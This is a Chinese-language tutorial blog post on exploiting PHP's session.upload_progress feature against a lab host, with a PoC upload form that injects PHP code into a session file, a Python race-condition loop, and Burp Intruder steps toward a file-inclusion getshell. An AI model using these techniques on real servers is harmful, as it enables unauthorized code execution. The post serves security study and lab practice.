浅谈 SESSION_UPLOAD_PROGRESS 的利用(一)

简介: 浅谈 SESSION_UPLOAD_PROGRESS 的利用

基础知识

PHP SESSION 的存储

Session会话储存方式

PHP将session以文件的形式存储在服务器某个文件中,可以在php.ini里面设置session的存储位置session.save_path。

860236633f5963149e6da33bf9f8eef6_640_wx_fmt=png&wxfrom=5&wx_lazy=1&wx_co=1.png

总结常见的php-session默认存放位置是很有必要的,因为在很多时候服务器都是按照默认设置来运行的,

默认路径

/var/lib/php/sess_PHPSESSID
/var/lib/php/sessions/sess_PHPSESSID
/tmp/sess_PHPSESSID
/tmp/sessions/sess_PHPSESSID

如果没做过设置,session文件默认是在/var/lib/php/sessions/目录下,文件名是sess_加上你的sessionID字段。(没有权限)而一般情况下,phpmyadmin的session文件会设置在/tmp目录下,需要在php.ini里把session.auto_start置为1,把session.save_path目录设置为/tmp。

与 SESSION 有关的几个 PHP 选项

45ca4c2536556d15017d8cdd139686f1_640_wx_fmt=png&wxfrom=5&wx_lazy=1&wx_co=1.png

session.auto_start:如果开启这个选项,则PHP在接收请求的时候会自动初始化Session,不再需要执行session_start()。但默认情况下,也是通常情况下,这个选项都是默认关闭的。

session.upload_progress.cleanup = on:表示当文件上传结束后,php将会立即清空对应session文件中的内容。该选项默认开启

session.use_strict_mode:默认情况下,该选项的值是0,此时用户可以自己定义Session ID。

Session Upload Progress

Session Upload Progress 即 Session 上传进度,是php>=5.4后开始添加的一个特性。官网对他的描述是当 session.upload_progress.enabled 选项开启时(默认开启),PHP 能够在每一个文件上传时 监测上传进度。这个信息对上传请求自身并没有什么帮助,但在文件上传时应用可以发送一个POST请求到终端(例如通过XHR)来检查这个状态。

当一个上传在处理中,同时POST一个与INI中设置的session.upload_progress.name同名变量时,上传进度可以在 $_SESSION 中获得。当PHP检测到这种POST请求时,它会在 $_SESSION 中添加一组数据,索引是 session.upload_progress.prefix 与 session.upload_progress.name 连接在一起的值。

a6fca628c5a6e6e69419b6b84c2c1320_640_wx_fmt=png&wxfrom=5&wx_lazy=1&wx_co=1.png

下面给出一个php官方文档的一个进度数组的结构的样例:

<form action="upload.php" method="POST" enctype="multipart/form-data">
<input type="hidden" name="<?php echo ini_get("session.upload_progress.name"); ?>" value="123" />
<input type="file" name="file1" />
<input type="file" name="file2" />
<input type="submit" />
</form>

此时在session中存放的数据看上去是这样子的:

<?php
$_SESSION["upload_progress_123"] = array(    // 其中存在上面表单里的value值"123"
"start_time" => 1234567890,   // The request time 请求时间
"content_length" => 57343257, // POST content length post数据长度
"bytes_processed" => 453489,  // Amount of bytes received and processed 已接收的字节数量
"done" => false,              // true when the POST handler has finished, successfully or not
"files" => array(
 0 => array(
  "field_name" => "file1",       // Name of the <input/> field 上传区域
  // The following 3 elements equals those in $_FILES
  "name" => "foo.avi",     // 上传文件名
  "tmp_name" => "/tmp/phpxxxxxx",     // 上传后在服务端的临时文件名
  "error" => 0,
  "done" => true,                // True when the POST handler has finished handling this file
  "start_time" => 1234567890,    // When this file has started to be processed
  "bytes_processed" => 57343250, // Amount of bytes received and processed for this file
),
 // An other file, not finished uploading, in the same request
 1 => array(
  "field_name" => "file2",
  "name" => "bar.avi",
  "tmp_name" => NULL,
  "error" => 0,
  "done" => false,
  "start_time" => 1234567899,
  "bytes_processed" => 54554,
),
)
);

利用 Session Upload Progress 上传 Session

实验环境:

  • 目标主机Ubuntu:192.168.43.82

Session Upload Progress 最初是PHP为上传进度条设计的一个功能,在上传文件较大的情况下,PHP将进行流式上传,并将进度信息放在Session中,此时即使用户没有初始化Session,PHP也会自动初始化Session。而且,默认情况下session.upload_progress.enabled是为On的,也就是说这个特性默认开启。所以,我们可以通过这个特性来在目标主机上初始化Session。

从上面官方的案例和结果中可以看到,session中一部分数据(session.upload_progress.name)是用户自己可以控制的。那么我们只要在上传文件的时候,同时POST一个恶意的字段 PHP_SESSION_UPLOAD_PROGRESS,目标服务器的PHP就会自动启用Session,Session文件将会自动创建。

我们怎么将session传过去呢?这里我们需要在本地构造一个上传和POST同时进行的情况,接下来我们构造一个上传表单,把下面代码保存为poc.html:

<!doctype html>
<html>
<body>
<form action="http://192.168.43.82/index.php" method="POST" enctype="multipart/form-data">
   <input type="hidden" name="PHP_SESSION_UPLOAD_PROGRESS" value="123" />
<input type="file" name="file" />
   <input type="submit" />
</form>
</body>
</html>

本地访问poc.html,然后随便上传个文件后抓包,在HTTP头中加上一个 Cookie: PHPSESSID:

8d7005347a3b225487d0e8efc5c3e340_640_wx_fmt=png&wxfrom=5&wx_lazy=1&wx_co=1.png

如下图所示,成功在目标主机上初始化了一个随机命名的Session:

eeefeb26f7a966cf0d9e7dd5c857cacc_640_wx_fmt=png&wxfrom=5&wx_lazy=1&wx_co=1.png

利用 Session Upload Progress 来 Getshell

在上面的实验中我们成功利用 PHP_SESSION_UPLOAD_PROGRESS,目标服务器上自动创建了一个Session文件。如果此时目标网站还存在文件包含漏洞的话,我们便可以配合文件包含漏洞来Getshell。其原理大致就是通过 PHP_SESSION_UPLOAD_PROGRESS 在目标主机上创建一个含有恶意代码的Session文件,之后利用文件包含漏洞去包含这个我们已经传入恶意代码的这个Session文件就可以达到攻击效果。

详情可以看我的另一篇文章:《SESSION LFI GetShell Via SESSION.UPLOAD_PROGRESS》

但是现实是残酷的,事实上这并不能完全的利用成功,因为 PHP的 session.upload_progress.cleanup = on 这个默认选项会有限制。即文件上传结束后,PHP 将会立即清空对应Session文件中的内容,这就导致我们在包含该Session的时候相当于在包含了一个空文件,没有包含我们传入的恶意代码。所以我们需要条件竞争,赶在文件被清除前利用包含即可。

还有一个点就是,如果此时不规定目标服务器上生成的Session文件的名字,就会生成一大堆不一样的Session文件,由于该Session文件过马上就会被清除,所以根本不是知道到底要用哪一个Session文件:

bd5973b16d44f21b8410590beebfe6f3_640_wx_fmt=png&wxfrom=5&wx_lazy=1&wx_co=1.png

所以这里还要对生成的Session文件进行重命名,规定其生成指定的名字,当然这也是可行的,就是在cookie里面修改PHPSESSID的值。假设我们修改PHPSESSID为whoami,则生成统一的Session文件——"sess_whoami"

默认情况下,session.use_strict_mode 值是0,此时用户是可以自己定义Session ID的。比如,我们在Cookie里设置PHPSESSID=whoami,PHP将会在服务器上创建一个session文件:/var/lib/php/sessions/sess_whoami。

使用 Python 实现创建 Session 文件的过程:

import io
import requests
import threading
sessid = 'whoami'
def POST(session):
   f = io.BytesIO(b'a' * 1024 * 50)
   session.post(
       'http://192.168.43.82/index.php',
       data={"PHP_SESSION_UPLOAD_PROGRESS":"123"},
       files={"file":('q.txt', f)},
       cookies={'PHPSESSID':sessid}
  )
with requests.session() as session:
   while True:
       POST(session)
       print("[+] 成功写入sess_whoami")

手动利用

(1)上传文件并抓包

使用如下 poc.html 随便上传一个文件并抓包:

<!doctype html>
<html>
<body>
<form action="http://192.168.43.82/index.php" method="POST" enctype="multipart/form-data">
   <input type="hidden" name="PHP_SESSION_UPLOAD_PROGRESS" value="<?php phpinfo();?>" />
<input type="file" name="file" />
   <input type="submit" />
</form>
</body>
</html>

如下图所示,添加一个Cookie并将PHPSESSID的值改为whoami:

9a89c7fb732e56812873510761caa5ca_640_wx_fmt=png&wxfrom=5&wx_lazy=1&wx_co=1.png

这样就会生成统一名称的session文件——"sess_whoami",然后发送到Intruder不断发包,生成session,传入恶意会话。

(2)设置请求载荷 Null payloads 后不断发包,维持恶意session的存储

58d79dcb7574f1ee4ec3dcb09fd8c931_640_wx_fmt=png&wxfrom=5&wx_lazy=1&wx_co=1.png

84a5972e49c63163216f68ed4a0aa73b_640_wx_fmt=png&wxfrom=5&wx_lazy=1&wx_co=1.png

7916f8345d315978ae6ed9b6f5597bf6_640_wx_fmt=png&wxfrom=5&wx_lazy=1&wx_co=1.png

在这里我们不断发包,在服务器上我们可以看到生成的已传入了恶意代码的session文件:

77c32d4111598a852e7e092beb0c07ec_640_wx_fmt=png&wxfrom=5&wx_lazy=1&wx_co=1.png


相关文章
|
3月前
项目中使用antd中的upload组件file对象到底是info.file还是info.file.originFileObj_坑
在Ant Design的Upload组件中,`onChange`事件处理函数接收一个对象参数,其中`file`字段在不同情况下可能是一个File对象或包含`originFileObj`属性的对象。为了兼容,可以使用`info.file.originFileObj ? info.file.originFileObj : info.file`来确保获取到原始的File对象。官方建议这种写法,并将在未来的大版本中统一返回包含`originFileObj`属性的对象。
155 1
项目中使用antd中的upload组件file对象到底是info.file还是info.file.originFileObj_坑
Flutter之运行提示Could not update files on device: Connection closed before full header was received
Flutter之运行提示Could not update files on device: Connection closed before full header was received
773 0
|
7月前
|
安全 PHP
文件上传--Upload-labs--Pass19--move_upload_file()函数特性
文件上传--Upload-labs--Pass19--move_upload_file()函数特性
|
Web App开发 存储
解决 Failed to read the ‘localStorage‘ property from ‘Window‘: Access is denied...
解决 Failed to read the ‘localStorage‘ property from ‘Window‘: Access is denied...
769 0
|
Web App开发
Failed to read the ‘localStorage‘ property from ‘Window‘: Access is denied ...
Failed to read the ‘localStorage‘ property from ‘Window‘: Access is denied ...
1197 0
|
SQL 存储 安全
浅谈 SESSION_UPLOAD_PROGRESS 的利用(二)
浅谈 SESSION_UPLOAD_PROGRESS 的利用
209 0
浅谈 SESSION_UPLOAD_PROGRESS 的利用(二)
Unable to add window --token is not valid
Unable to add window --token is not valid